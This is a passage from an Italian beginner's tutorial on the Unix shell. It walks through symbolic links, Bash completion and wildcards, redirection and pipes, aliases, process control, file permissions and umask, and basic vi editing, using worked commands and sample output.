$ **ln -s /home/tizio/uno* /home/tizio/due tre** [*Invio*]

In questo caso, si generano i collegamenti per tutti i file i cui nomi iniziano per '`uno`' e anche per il file '`due`' nella directory '`tre/`'.

Nell'esempio mostrato sopra, i file per i quali si vogliono creare dei collegamenti simbolici sono stati indicati con il loro percorso assoluto, pur immaginando che la directory '`/home/tizio/`' fosse quella corrente. In tal senso, la directory di destinazione è stata indicata semplicemente in modo relativo. Quando si creano dei collegamenti simbolici in una directory come in questo modo, è necessario indicare anche il percorso adeguato nei file (o nelle directory) di origine, perché i nomi ai quali si vuole fare riferimento sono trattati come stringhe.

$ **ls -l tre** [*Invio*]

```
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:21 due -> /home/tizio/due
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:21 uno -> /home/tizio/uno
lrwxrwxrwx   1 tizio    tizio    19 Dec 25 15:21 uno.bis -> /home/tizio/uno.bis
```

Si può osservare che è stato creato anche un collegamento che punta a un altro collegamento.

Se si cancellano questi collegamenti simbolici nella directory '`tre/`', si può provare a vedere cosa può accadere se non si indica un percorso assoluto:

$ **rm tre/*** [*Invio*]

Intuitivamente si può ritenere che possa essere corretta la creazione dei collegamenti simbolici in questo modo:

$ **ln -s uno* due tre** [*Invio*]

Se però si va a controllare il contenuto della directory '`tre/`', si può notare una cosa strana: i collegamenti simbolici puntano a loro stessi.

$ **ls -l tre** [*Invio*]

```
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:25 due -> due
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:25 uno -> uno
lrwxrwxrwx   1 tizio    tizio    19 Dec 25 15:25 uno.bis -> uno.bis
```

Inizialmente è difficile capire questa cosa. Conviene provare in modo ancora diverso:

$ **rm tre/*** [*Invio*]

$ **ln -s ./uno* ./due tre** [*Invio*]

$ **ls -l tre** [*Invio*]

```
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:30 due -> ./due
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:30 uno -> ./uno
lrwxrwxrwx   1 tizio    tizio    19 Dec 25 15:30 uno.bis -> ./uno.bis
```

Se non è ancora chiaro, si provi questo:

$ **rm tre/*** [*Invio*]

$ **ln -s nero/marrone rosso/arancio giallo/verde tre** [*Invio*]

$ **ls -l tre** [*Invio*]

```
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:35 marrone -> nero/marrone
lrwxrwxrwx   1 tizio    tizio    15 Dec 25 15:35 arancio -> rosso/arancio
lrwxrwxrwx   1 tizio    tizio    19 Dec 25 15:35 verde -> giallo/verde
```

Si intende che i file '`nero/marrone`', '`rosso/arancio`' e '`giallo/verde`' non esistono; tuttavia, i collegamenti simbolici vengono creati ugualmente.

4.7.3 Conclusione

Lo spostamento di file e directory avviene in modo simile alla copia, solo che l'origine viene rimossa. Lo spostamento di directory attraverso unità di memorizzazione differenti non è possibile. Lo spostamento erroneo può essere dannoso: se non si fa attenzione si può sovrascrivere qualcosa che ha già lo stesso nome dei file o delle directory di destinazione. Questo è lo stesso tipo di problema che si rischia di incontrare con la copia.

I collegamenti a file e directory permettono di definire percorsi alternativi agli stessi. I collegamenti simbolici vengono creati analizzando i nomi senza verificare che appartengano effettivamente a file o directory reali.

4.8 La shell

La shell è il mezzo attraverso cui si interagisce con il sistema. Il modo di inserire i comandi può cambiare molto da una shell all'altra. Gli esercizi proposti in questa sezione sono stati realizzati in particolare con la shell Bash, ma gran parte di questi possono essere validi anche per altre shell.

4.8.1 Completamento automatico con la shell Bash

Il completamento automatico è un modo attraverso cui la shell Bash aiuta l'utente a completare un comando. La richiesta di completamento viene fatta attraverso l'uso del tasto [*Tab*]. Si preparano alcuni file di esempio. I nomi utilizzati sono volutamente lunghi.

$ **touch microinterruttore** [*Invio*]

$ **touch microscopico** [*Invio*]

$ **touch supersonico** [*Invio*]

Supponendo di voler utilizzare questi nomi all'interno di una riga di comando, si può essere un po' infastiditi dalla loro lunghezza. Utilizzando il completamento automatico si risolve il problema.

```
$ ls sup[Tab]
```

Dopo avere scritto solo '**sup**', premendo il tasto [*Tab*] si ottiene il completamento del nome, dal momento che non esistono altri file o directory (nella posizione corrente) che inizino nello stesso modo. L'esempio seguente mostra lo stesso comando completato e terminato.

```
$ ls sup[Tab]ersonico[Invio]
```

Il completamento automatico dei nomi potrebbe essere impossibile. Infatti, potrebbe non esistere alcun nome che coincida con la parte iniziale già inserita, oppure potrebbero esistere più nomi composti con lo stesso prefisso. In questo ultimo caso, il completamento si ferma al punto in cui i nomi iniziano a distinguersi.

```
$ ls mic[Tab]ro
```

In questo caso, il completamento si spinge fino a '**micro**' che è la parte comune dei nomi 'microinterruttore' e 'microscopico'. Per poter proseguire occorre aggiungere un'indicazione che permetta di distinguere tra i due nomi. Volendo selezionare il primo di questi nomi, basta aggiungere la lettera '**i**' e premere nuovamente il tasto [*Tab*]. L'esempio seguente rappresenta il procedimento completo.

```
$ ls mic[Tab]roi[Tab]nterruttore[Invio]
```

4.8.2 Sostituzione

L'utilizzo di caratteri jolly, ovvero di metacaratteri, rappresenta una forma alternativa di completamento dei nomi. Infatti è compito della shell la trasformazione dei simboli utilizzati per questo scopo.

Per gli esercizi successivi si utilizzano inizialmente i file creati nella sezione precedente: 'microinterruttore', 'microscopico' e 'supersonico'. In seguito ne vengono aggiunti altri quando l'occasione lo richiede.

4.8.3 Asterisco

L'asterisco rappresenta una sequenza indefinita di zero o più caratteri di qualunque tipo, esclusa la barra obliqua di separazione tra le directory. Per cui, l'asterisco utilizzato da solo rappresenta tutti i nomi di file disponibili nella directory corrente.

```
$ ls [Invio]
```

Il comando '**ls**' appena mostrato serve a elencare tutti i nomi di file e directory contenuti nella directory corrente.

```
$ ls * [Invio]
```

Questo comando è un po' diverso, nel senso che la shell provvede a sostituire l'asterisco con tutto l'elenco di nomi di file e directory contenuti nella directory corrente. Sarebbe come se il comando fosse '**ls microinterruttore microscopico**'...

In tal senso, anche il comportamento di '**ls**' cambia: non si limita a elencare il contenuto della directory corrente, ma (eventualmente, se ce ne sono) anche quello di tutte le directory contenute in quella corrente.

L'asterisco può essere utilizzato anche assieme a parti fisse di testo.

$ **ls micro*** [*Invio*]

Questo comando è composto in modo che la shell sostituisca '**micro***' con tutti i nomi che iniziano per '**micro**'.

```
microinterruttore microscopico
```

È stato precisato che l'asterisco può essere sostituito anche con la stringa nulla. Per verificarlo si crea un altro file.

$ **touch nanomicro** [*Invio*]

Con il comando seguente si vogliono elencare tutti i nomi che contengono la parola '**micro**'.

$ **ls *micro*** [*Invio*]

```
microinterruttore microscopico nanomicro
```

4.8.4 Punto interrogativo

Il punto interrogativo rappresenta esattamente un carattere qualsiasi.

Prima di proseguire si aggiungono alcuni file con nomi adatti agli esempi seguenti.

$ **touch xy123j4** [*Invio*]

$ **touch xy456j5** [*Invio*]

$ **touch xy789j111** [*Invio*]

$ **touch xy78j67** [*Invio*]

Con il comando seguente si vuole intervenire su tutti i file lunghi esattamente sette caratteri che contengono la lettera '**j**' nella sesta posizione.

$ **ls ?????j?** [*Invio*]

```
xy123j4 xy456j5
```

Diverso sarebbe stato usando l'asterisco: non si può limitare il risultato ai file che contengono la lettera '**j**' nella sesta posizione, ma nemmeno la lunghezza del nome può essere presa in considerazione.

$ **ls *j*** [*Invio*]

In questo modo si ottiene l'elenco di tutti i nomi che contengono la lettera '**j**', senza specificare altro.

```
xy123j4 xy456j5 xy789j111 xy78j67
```

4.8.5 Parentesi quadre

Le parentesi quadre vengono utilizzate per delimitare un elenco o un intervallo di caratteri. Rappresentano un solo carattere tra quelli contenuti, o tra quelli appartenenti all'intervallo indicato.

$ **ls xy????[4567]*** [*Invio*]

```
xy123j4 xy456j5 xy78j67
```

Il comando appena indicato è stato scritto in modo da fornire a '**ls**', come argomento, l'elenco di tutti i file i cui nomi iniziano per '**xy**', proseguono con quattro caratteri qualunque, quindi contengono un carattere da '**4**' a '**7**' e terminano in qualunque modo. Lo stesso risultato si potrebbe ottenere indicando un intervallo nelle parentesi quadre.

$ **ls xy????[4-7]*** [*Invio*]

4.8.6 Protezione

Il fatto che la shell sostituisca alcuni caratteri complica il loro utilizzo nei nomi di file e directory. Se esiste la necessità, è possibile evitare la sostituzione di questi caratteri facendoli precedere da una barra obliqua inversa, che funge da carattere di escape, ovvero, da simbolo di protezione.

$ **touch sei*otto** [*Invio*]

$ **ls** [*Invio*]

```
...
sei*otto
```

In questo modo è possibile includere nel nome di un file anche lo spazio.

$ **touch sei\ bella** [*Invio*]

$ **ls** [*Invio*]

```
...
sei bella
sei*otto
```

È possibile ottenere un risultato simile delimitando il testo che deve essere interpretato come un oggetto unico attraverso apici singoli o apici doppi:

$ **touch "sei*sei"** [*Invio*]

$ **touch 'tre*due'** [*Invio*]

$ **ls** [*Invio*]

```
…
tre*due
…
sei bella
sei*otto
sei*sei
```

$ **touch "sei alta"** [*Invio*]

$ **ls** [*Invio*]

```
…
tre*due
…
sei alta
sei bella
sei*otto
sei*sei
```

È bene ricordare che l'uso degli apici singoli o degli apici doppi non è sempre equivalente, ma questo e altri dettagli vengono approfonditi nel capitolo dedicato alla shell POSIX (parte 19).

4.8.7 Verifica della sostituzione

L'uso di caratteri jolly può essere pericoloso quando non si ha un'esperienza sufficiente a determinare l'effetto esatto del comando che ci si accinge a utilizzare. Ciò soprattutto quando si utilizzano per cancellare. Il modo migliore per verificare l'effetto della sostituzione dei caratteri jolly è l'uso del comando '**`echo`**', che si occupa semplicemente di visualizzare l'elenco dei suoi argomenti.

Per esempio, per sapere quali file e directory vengono coinvolti dal modello '**`micro*`**', basta il comando seguente:

$ **echo micro*** [*Invio*]

```
microinterruttore microscopico
```

Anche l'uso di '**`ls`**', come comando non distruttivo, può essere di aiuto per determinare l'estensione di un modello fatto di caratteri jolly. Ma '**`ls`**', in condizioni normali, mostra anche il contenuto delle directory che vengono indicate tra gli argomenti, distraendo in questo caso l'utilizzatore. Pertanto, per evitare l'aggiunta di informazioni non richieste, '**`ls`**' andrebbe corredato con l'opzione '**`-d`**'.

4.8.8 Ridirezione

La ridirezione dirotta i dati in modo da destinarli a un file o da prelevarli da un file.

$ **ls -l > elenco** [*Invio*]

Questo comando genera il file '`elenco`' con il risultato dell'esecuzione di '**`ls`**'. Si può controllare il contenuto di questo file con '**`cat`**'.

$ **cat elenco** [*Invio*]

Anche l'input può essere ridiretto, quando il comando al quale si vuole inviare è in grado di riceverlo. Il comando '**`cat`**' è in grado di emettere ciò che riceve dallo standard input.

$ **cat < elenco** [*Invio*]

Si ottiene in questo modo la visualizzazione del contenuto del file '`elenco`', esattamente come succede con il comando precedente, ma in tal caso, il file da visualizzare viene ottenuto dallo standard input per mezzo dell'attività della shell.

La ridirezione dell'output, come è stata vista finora, genera un nuovo file ogni volta, eventualmente sovrascrivendo ciò che esiste già con lo stesso nome. Sotto questo aspetto, la ridirezione dell'output è fonte di possibili danni.

La ridirezione dell'output può essere fatta in aggiunta, creando un file se non esiste, o aggiungendovi i dati se invece esiste già.

$ **ls -l /tmp >> elenco** [*Invio*]

In tal modo viene aggiunto al file '`elenco`' l'elenco dettagliato del contenuto della directory '`/tmp/`'.

$ **cat elenco** [*Invio*]

4.8.9 Condotti

Il condotto, ovvero la *pipeline*, è una forma di ridirezione in cui la shell invia l'output di un comando come input del successivo.

$ **cat elenco | sort** [*Invio*]

In questo modo, '**`cat`**' legge il contenuto del file '`elenco`', ma questo, invece di essere visualizzato sullo schermo, viene inviato dalla shell come standard input di '**`sort`**' che lo riordina e poi lo emette sullo schermo.

Un condotto può utilizzare anche la ridirezione, per cui, il comando visto precedentemente può essere trasformato nel modo seguente:

$ **cat < elenco | sort** [*Invio*]

Naturalmente, il comando si può semplificare come indicato sotto, ma in tal caso non si tratta più di condotto:

$ **sort < elenco** [*Invio*]

4.8.10 Alias

La creazione di un alias è un metodo che permette di definire un nome alternativo per un comando preesistente.

$ **alias elenca='ls -l'** [*Invio*]

Dopo aver definito l'alias '**elenca**', come indicato nel comando precedente, utilizzandolo si ottiene l'equivalente di '**ls -l**'. Basta provare.

$ **elenca** [*Invio*]

Ma l'alias permette di utilizzare argomenti, come se si trattasse di comandi normali.

$ **elenca micro*** [*Invio*]

Quello che si ottiene corrisponde al risultato del comando '**ls -l micro***':

```
-rw-rw-r--   1 tizio    tizio           0 Dec 26 10:19 microinterruttore
-rw-rw-r--   1 tizio    tizio           0 Dec 26 10:19 microscopico
```

Gli alias tipici che vengono creati sono i seguenti. Servono per fare in modo che le operazioni di cancellazione o sovrascrittura vengano eseguite dopo una richiesta di conferma.

$ **alias rm='rm -i'** [*Invio*]

$ **alias cp='cp -i'** [*Invio*]

$ **alias mv='mv -i'** [*Invio*]

Si può provare a eliminare un file per vedere cosa accade.

$ **rm microinterruttore** [*Invio*]

```
rm: remove `microinterruttore'?:
```

n [*Invio*]

In questo modo, il file non è stato cancellato.

Per l'eliminazione di un alias si procede intuitivamente con il comando '**unalias**':

$ **unalias elenca** [*Invio*]

In questo modo, si elimina l'alias '**elenca**' selettivamente, mentre con il comando seguente si eliminano tutti gli alias ancora esistenti:

$ **unalias -a** [*Invio*]

A ogni modo, alla fine della sessione di lavoro con la shell, gli alias vengono perduti.

4.8.11 Conclusione

Il completamento dei nomi e i caratteri jolly sono gli strumenti operativi più importanti che una shell fornisce. Tuttavia, l'uso di modelli con caratteri jolly può essere fonte di errori anche gravi, pertanto, prima di utilizzarli in comandi distruttivi, conviene verificare l'effetto di questi modelli con '**`echo`**'.

La ridirezione e il condotto sono un altro strumento importante che permette di costruire comandi molto complessi a partire da comandi elementari.

4.9 Controllo dei processi

In presenza di un ambiente in multiprogrammazione è importante il controllo dei processi in esecuzione. Un processo è un singolo eseguibile in funzione, ma un comando può generare diversi processi.

4.9.1 Visualizzazione dello stato dei processi

Il comando fondamentale per il controllo dei processi è '**`ps`**'.

`$` **`ps x`** [*Invio*]

```
PID TTY STAT  TIME COMMAND
077   1 SW   0:01 (login)
078   2 SW   0:01 (login)
091   1 S    0:01 -bash
132   2 S    0:01 -bash
270   1 R    0:00 ps
```

In questo caso '**`ps`**' mostra che sono in funzione due copie di '**`bash`**' (la shell Bash), ognuna su un terminale differente (in questo caso si tratta della prima e della seconda console virtuale di un sistema GNU/Linux): TTY 1 e 2. L'unico programma in esecuzione è lo stesso '**`ps`**', che in questo esempio è stato avviato dal primo terminale.

Attraverso l'opzione '**`f`**', si può osservare la dipendenza tra i processi.

`$` **`ps xf`** [*Invio*]

```
PID TTY STAT  TIME COMMAND
077   1 SW   0:01 (login)
091   1 S    0:01  \_ -bash
275   1 R    0:00      \_ ps -f
078   2 SW   0:01 (login)
132   2 S    0:01  \_ -bash
```

In un sistema GNU/Linux esiste il programma '**`pstree`**' che offre un modo graficamente più aggraziato di osservare la dipendenza tra i processi.

`$` **`pstree`** [*Invio*]

```
init-+-crond
     |-kflushd
     |-klogd
     |-kswapd
     |-login---bash
     |-login---bash---pstree
     |-4*[mingetty]
     |-4*[nfsiod]
     |-portmap
     |-rpc.mountd
     |-rpc.nfsd
     |-syslogd
     `-update
```

Mentre prima si vedevano solo i processi connessi ai terminali, adesso vengono visualizzati tutti i processi in funzione in modo predefinito. L'elenco cambia a seconda della configurazione del proprio sistema.

4.9.2 Eliminazione dei processi

I processi vengono eliminati automaticamente una volta che questi terminano regolarmente. A volte ci può essere la necessità di eliminare forzatamente un processo.

Per verificare questa situazione si può passare sulla seconda console virtuale e da lì avviare un programma inutile che viene poi eliminato attraverso la prima console.

[*Alt F2*]

Se fosse necessario eseguire l'accesso, è questo il momento di farlo.

$ **yes** [*Invio*]

```
y
y
y
y
...
```

Attraverso '**yes**' si ottiene un'emissione continua di lettere «y». Si può passare alla prima console e osservare la situazione.

[*Alt F1*]

$ **ps x** [*Invio*]

```
 PID TTY STAT  TIME COMMAND
077   1 SW   0:01 (login)
078   2 SW   0:01 (login)
091   1 S    0:01 -bash
132   2 S    0:01 -bash
311   2 R    0:26 yes
```

Si decide di eliminare il processo generato da '**yes**' attraverso l'invio di un segnale di conclusione.

$ **kill 311** [*Invio*]

Il numero 311 è il numero abbinato al processo, o PID, che si ottiene osservando le informazioni emesse da '**ps**'. Tornando sulla console in cui è stato eseguito '**yes**' si può osservare che questo ha terminato di funzionare.

[*Alt F2*]

```
…
y
y
Terminated
```

4.9.3 Processi sullo sfondo

Per mezzo della shell è possibile avviare dei comandi sullo sfondo, ovvero in *background*, in modo che si renda nuovamente disponibile l'invito per inserire altri comandi.

$ **yes > /dev/null &** [*Invio*]

Questo comando avvia '**yes**' dirottando l'output nel file '/dev/null' che in realtà è un dispositivo speciale paragonabile a una pattumiera senza fondo (tutto ciò che vi viene scritto è eliminato). Il simbolo e-commerciale ('**&**'), posto alla fine del comando, dice alla shell di eseguirlo sullo sfondo.

Naturalmente, ha senso eseguire un comando sullo sfondo quando questo non richiede input da tastiera e non emette output sul terminale.

4.9.4 Conclusione

Il controllo dei processi avviene essenzialmente attraverso '**ps**' e '**kill**'. La shell fornisce generalmente una forma di controllo sui comandi avviati attraverso di essa; questi vengono definiti normalmente *job* di shell.

Il capitolo 10 tratta meglio di questo argomento.

4.10 Permessi

I permessi definiscono i privilegi dell'utente proprietario, del gruppo e degli altri utenti nei confronti dei file e delle directory.

La sezione 3.21 introduce i problemi legati ai permessi, in particolare spiega il modo in cui si rappresentano in forma numerica.

4.10.1 Permessi sui file

Sui file possono essere regolati tre tipi di permessi: lettura, scrittura ed esecuzione. Mentre il significato del permesso di esecuzione è abbastanza logico (riguarda i file eseguibili e gli script), così come lo è anche quello in lettura, quello in scrittura potrebbe fare pensare che permetta di evitarne la cancellazione. Non è così: la possibilità di cancellare un file dipende dai permessi della directory.

$ **touch mio_file** [*Invio*]

$ **chmod -r mio_file** [*Invio*]

In questo modo è stato tolto il permesso di lettura a tutti gli utenti, compreso il proprietario.

$ **ls -l mio_file** [*Invio*]

```
--w--w----   1 tizio    tizio           0 Dec 26 10:24 mio_file
```

Si può vedere che dalla stringa dei permessi è sparita la lettera '**r**'.

$ **cat mio_file** [*Invio*]

```
cat: mio_file: Permission denied
```

L'emissione sullo schermo del file è impossibile perché non c'è il permesso di lettura (in questo caso il file è vuoto e non c'è proprio nulla da visualizzare, ma qui conta il fatto che il sistema si opponga alla lettura).

$ **chmod +r mio_file** [*Invio*]

Prima di verificare cosa accade togliendo il permesso di scrittura conviene ripristinare il permesso di lettura, con il comando appena visto.

$ **chmod -w mio_file** [*Invio*]

In questo modo viene tolto il permesso di scrittura, cosa che impedisce la modifica del file, ma non la sua cancellazione.

$ **ls > mio_file** [*Invio*]

```
bash: mio_file: Permission denied
```

Un tentativo di sovrascrittura genera una segnalazione di errore, come nell'esempio appena visto, così come qualunque altro tentativo di modificare il suo contenuto.

$ **mv mio_file tuo_file** [*Invio*]

Lo spostamento o il cambiamento del nome è possibile.

$ **ls -l tuo_file** [*Invio*]

```
-r--r--r--   1 tizio    tizio           0 Dec 26 10:24 tuo_file
```

Anche la cancellazione è ammissibile; probabilmente si ottiene un avvertimento, ma niente di più.

$ **rm tuo_file** [*Invio*]

```
rm: remove 'tuo_file', overriding mode 0444?
```

y [*Invio*]

Il file, alla fine, viene cancellato.

4.10.2 Permessi sulle directory

Sulle directory possono essere regolati tre tipi di permessi: lettura, scrittura e accesso (ovvero «attraversamento», che corrisponde al permesso di esecuzione dei file). Per chi non conosce già un sistema operativo Unix, il significato potrebbe non essere tanto intuitivo.

$ **mkdir provedir** [*Invio*]

$ **touch provedir/uno** [*Invio*]

$ **touch provedir/due** [*Invio*]

Togliendo il permesso di lettura si impedisce la lettura del contenuto della directory, cioè si impedisce l'esecuzione di un comando come '**ls**', mentre l'accesso ai file continua a essere possibile (purché se ne conoscano i nomi).

$ **chmod -r provedir** [*Invio*]

$ **ls provedir** [*Invio*]

```
ls: provedir: Permission denied
```

Prima di proseguire si ripristinano i permessi di lettura.

$ **chmod +r provedir** [*Invio*]

I permessi di scrittura consentono di aggiungere, eliminare e rinominare i file (comprese le eventuali sottodirectory).

$ **chmod -w provedir** [*Invio*]

Questo comando toglie il permesso di scrittura della directory 'provedir/'.

$ **rm provedir/uno** [*Invio*]

```
rm: provedir/uno: Permission denied
```

$ **cp provedir/uno provedir/tre** [*Invio*]

```
cp: cannot create regular file 'provedir/tre': Permission denied
```

$ **mv provedir/uno provedir/tre** [*Invio*]

```
mv: cannot move 'provedir/uno' to 'provedir/tre': Permission denied
```

Prima di proseguire si ripristina il permesso di scrittura.

$ **chmod +w provedir** [*Invio*]

Il permesso di accesso è il più strano. Impedisce l'accesso alla directory e a tutto il suo contenuto. Ciò significa che non è possibile accedere a file o directory discendenti di questa.

Viene creata una directory discendente da '`provedir/`'.

$ **mkdir provedir/tmp** [*Invio*]

Si crea un file al suo interno, per poter verificare in seguito quanto affermato.

$ **touch provedir/tmp/esempio** [*Invio*]

Si tolgono i permessi di accesso a '`provedir/`' per vedere cosa accade.

$ **chmod -x provedir** [*Invio*]

Da questo momento, '`provedir/`' e tutto quello che ne discende è inaccessibile.

$ **cd provedir** [*Invio*]

```
bash: cd: provedir: Permission denied
```

$ **cat provedir/tmp/esempio** [*Invio*]

```
cat: provedir/tmp/esempio: Permission denied
```

$ **touch provedir/tmp/esempio2** [*Invio*]

```
touch: provedir/tmp/esempio2: Permission denied
```

4.10.3 Maschera dei permessi: umask

La maschera dei permessi, ovvero la maschera *umask*, determina i permessi che devono essere tolti quando si crea un file o una directory e non si definiscono esplicitamente i loro permessi. Nello stesso modo, quando si attribuiscono dei permessi senza definire a quale livello si riferiscono (all'utente, al gruppo o agli altri, come è stato fatto nelle sezioni precedenti), vengono tolti quelli della maschera dei permessi. Per conoscere il valore di questa maschera basta il comando seguente:

$ **umask** [*Invio*]

```
0002
```

Ciò che si ottiene dipende dalla configurazione del sistema; frequentemente, il valore della maschera dei permessi è 0022_8.

Il numero due rappresenta un permesso di scrittura, nel caso del risultato 0002_8 si riferisce solo agli utenti differenti dal proprietario e dal gruppo di appartenenza. Questo significa che il permesso viene tolto in modo predefinito. Se invece il valore fosse 0022_8, anche al gruppo verrebbe tolto il permesso di scrittura.

Si può ottenere una rappresentazione della maschera dei permessi più espressiva con l'opzione '**-S**'.

$ **umask -S** [*Invio*]

```
u=rwx,g=rwx,o=rx
```

In tal caso si è ottenuta la rappresentazione dei permessi che vengono concessi in modo predefinito.

Si suppone, per esercizio, di trovarsi nella situazione di volere difendere i propri dati da qualunque accesso da parte degli altri utenti (a eccezione dell'utente '**root**' al quale nulla può essere impedito).

$ **umask 0077** [*Invio*]

Il numero sette rappresenta tutti i permessi (lettura, scrittura ed esecuzione-accesso) e questi vengono tolti sistematicamente al gruppo e agli altri utenti. Per verificarlo si può provare a creare un file.

$ **touch segreto** [*Invio*]

$ **ls -l segreto** [*Invio*]

```
-rw-------   1 tizio    tizio           0 Dec 27 11:10 segreto
```

Il comando '**touch**' non ha tentato di attribuire dei permessi di esecuzione, quindi questo permesso non appare tra quelli dell'utente proprietario.

$ **mkdir segreta** [*Invio*]

$ **ls -l** [*Invio*]

```
...
drwx------   2 tizio    tizio        1024 Dec 27 11:14 segreta
...
```

Come si vede dall'esempio, anche la creazione di directory risente della maschera dei permessi.

4.10.4 Conclusione

Il significato dei permessi di file e directory non è necessariamente intuitivo o evidente. Un po' di allenamento è necessario per comprenderne il senso.

La maschera dei permessi, o *umask*, è un mezzo con cui filtrare i permessi indesiderati nelle operazioni normali, quelle in cui questi non vengono espressi in modo esplicito.

4.11 Creazione e modifica di file di testo

In tutti i corsi di Unix si mostra l'uso di un applicativo storico piuttosto spartano, per la creazione e la modifica di file di testo: VI. Questo poi si concretizza in pratica nell'eseguibile '**`vi`**'. La necessità di imparare a usare questo programma, almeno in modo elementare, sta nel fatto che utilizza poche risorse di memoria e spesso fa parte dell'insieme di programmi di servizio di sistemi di emergenza su dischetti o altre unità esterne di memorizzazione con poca capacità.

4.11.1 Modalità di comando e di inserimento

L'uso di VI è difficile perché si distinguono diverse modalità di funzionamento. In pratica si separa la fase di inserimento del testo da quella in cui si inseriscono i comandi.

Per poter inserire un comando occorre sospendere l'inserimento con la pressione di [*Esc*]. Per poter ritornare alla modalità di inserimento occorre dare un comando apposito.

Il tasto [*Esc*] può essere usato anche per annullare un comando che non sia stato completato. Se premuto più del necessario non produce alcun effetto collaterale.

4.11.2 Creazione

Si crea un nuovo file semplicemente avviando il programma senza argomenti.

`$` **`vi`** [*Invio*]

Appena avviato, VI impegna tutto lo schermo.

```
_
~
~
~
~
~
/tmp/vi.OX7AXb: new file: line 1
```

I simboli tilde ('**`~`**') rappresentano righe nulle (inesistenti).

In questo momento il programma si trova in ***modalità di comando*** e accetta comandi espressi attraverso lettere o simboli della tastiera.

4.11.3 Inserimento di testo

Con il tasto [*i*], che rappresenta il comando di inserimento (*insert*), si passa alla modalità di inserimento attraverso la quale si può digitare del testo normalmente. Il testo viene inserito di proposito senza lettere accentate, perché il comportamento del programma, in presenza di caratteri al di fuori della codifica ASCII pura e semplice, dipende da diversi fattori.

[*i*]

`GNU/Linux e' un sistema operativo completo` [*Invio*]

`il cui kernel e' stato scritto da` [*Invio*]

`Linus Torvalds e altri collaboratori.` [*Invio*]

Quello che si vede sullo schermo dovrebbe apparire come l'esempio che segue, con il cursore alla fine dell'ultima frase digitata.

```
GNU/Linux e' un sistema operativo completo
il cui kernel e' stato scritto da
Linus Torvalds e altri collaboratori._
~
~
~
```

Si termina la modalità di inserimento e si torna a quella di comando attraverso la pressione del tasto [*Esc*].

[*Esc*]

Probabilmente, dopo la pressione del tasto [*Esc*], il cursore si sposta sotto al punto che conclude la riga, dal momento che a destra, dove si trovava prima, non c'è alcun carattere, nemmeno lo spazio.

4.11.4 Spostamento del cursore

Lo spostamento del cursore attraverso il testo avviene in modalità di comando, con i tasti [*h*], [*j*], [*k*] e [*l*] che corrispondono rispettivamente allo spostamento a sinistra, in basso, in alto e a destra. Nella maggior parte delle situazioni possono essere utilizzati i tasti freccia, anche durante la fase di inserimento.

Si decide di spostare il cursore davanti alla parola «completo» della prima riga.

[*h*][*h*]

[*k*][*k*]

In pratica si sposta il cursore a sinistra di due posizioni e in alto di due.

```
GNU/Linux e' un sistema operativo_completo
il cui kernel e' stato scritto da
Linus Torvalds e altri collaboratori.
~
~
~
```

4.11.5 Cancellazione

La cancellazione di testo in modalità di comando avviene attraverso l'uso del tasto [*x*]. Si ottiene la cancellazione del carattere che si trova in corrispondenza del cursore, avvicinando il testo rimanente dalla destra.

Nella maggior parte dei casi può essere usato anche il tasto [*Canc*] con tale scopo, che in particolare, dovrebbe funzionare sia in modalità di comando, sia in inserimento.

Si decide di cancellare la parola «completo», assieme allo spazio che la precede; si osservi che al termine, il cursore potrebbe spostarsi automaticamente sotto la lettera «o» della parola «operativo»:

[*x*][*x*][*x*][*x*][*x*][*x*][*x*][*x*][*x*]

```
GNU/Linux e' un sistema operativo
il cui kernel e' stato scritto da
Linus Torvalds e altri collaboratori.
~
~
~
```

La cancellazione di una riga intera si ottiene con il comando '**`dd`**' ovvero con la pressione del tasto [*d*] per due volte di seguito.

Si decide di cancellare l'ultima riga. Per prima cosa si sposta il cursore sopra con il tasto [*j*], premuto per due volte, quindi si procede con la cancellazione.

[*j*][*j*]

[*d*][*d*]

```
GNU/Linux e' un sistema operativo
il cui kernel e' stato scritto da
~
~
~
~
```

4.11.6 Salvataggio e conclusione

Il salvataggio del testo in un file si ottiene attraverso un comando più complesso di quelli visti finora. Dalla modalità di comando si preme il tasto [:] che inizia un comando speciale, detto *colon* o ***ultima riga***, perché appare sull'ultima riga dello schermo.

[:]

```
GNU/Linux e' un sistema operativo
il cui kernel e' stato scritto da
~
~
~
~
:_
```

Il comando per salvare è il seguente:

```
:w nome_file
```

Si decide di salvare con il nome '**`miotesto`**':

`:w miotesto`

Sullo schermo dovrebbe apparire come si vede di seguito:

```
GNU/Linux e' un sistema operativo
il cui kernel e' stato scritto da
~
~
~
~
:w miotesto_
```

Si conclude con la pressione del tasto [*Invio*].

[*Invio*]

La conclusione del funzionamento di VI si ottiene con il comando '**`:q`**'. Se si pretende di terminare senza salvare occorre imporre il comando con l'aggiunta di un punto esclamativo ('**`:q!`**').

`:q` [*Invio*]

4.11.7 Apertura di un file esistente

Per avviare l'eseguibile '**vi**' in modo che questo apra immediatamente un file già esistente per permetterne la modifica, basta indicare il nome di questo file nella riga di comando.

$ **vi miotesto** [*Invio*]

```
GNU/Linux e' un sistema operativo
il cui kernel e' stato scritto da
~
~
~
~
miotesto: unmodified: line 1
```

In alternativa si può utilizzare il comando '**:e**' con la sintassi seguente:

```
:e nome_file
```

Il risultato è lo stesso.

4.11.8 Conclusione

VI è un applicativo per la creazione e la modifica di file di testo, molto poco elaborato esteticamente e piuttosto complicato da utilizzare. Tuttavia è necessario saperlo usare nelle occasioni in cui non è disponibile un programma migliore, o non è possibile usare altro a causa delle ristrettezze del sistema.

Questo esercizio sull'uso di VI è solo un minimo assaggio del funzionamento del programma, che, al contrario di quanto possa sembrare, offre molti accorgimenti e potenzialità che alla lunga possono rivelarsi veramente utili. La sezione 24.14 mostra un po' meglio le possibilità di questo programma.

4.12 File eseguibili

I file normali che hanno i permessi di esecuzione, sono intesi dal sistema operativo come dei programmi che possono essere messi in funzione. Naturalmente, perché si possa trattare effettivamente di programmi è necessario che il sistema sia in grado di eseguire il loro contenuto.

4.12.1 Avvio di un programma e variabile di ambiente «PATH»

In linea di principio, l'avvio di un programma richiede l'indicazione del percorso, relativo o assoluto:

$ **/bin/uname -a** [*Invio*]

```
Linux dinkel 2.2.15 #1 Thu Aug 31 15:55:32 CEST 2000 i586 unknown
```

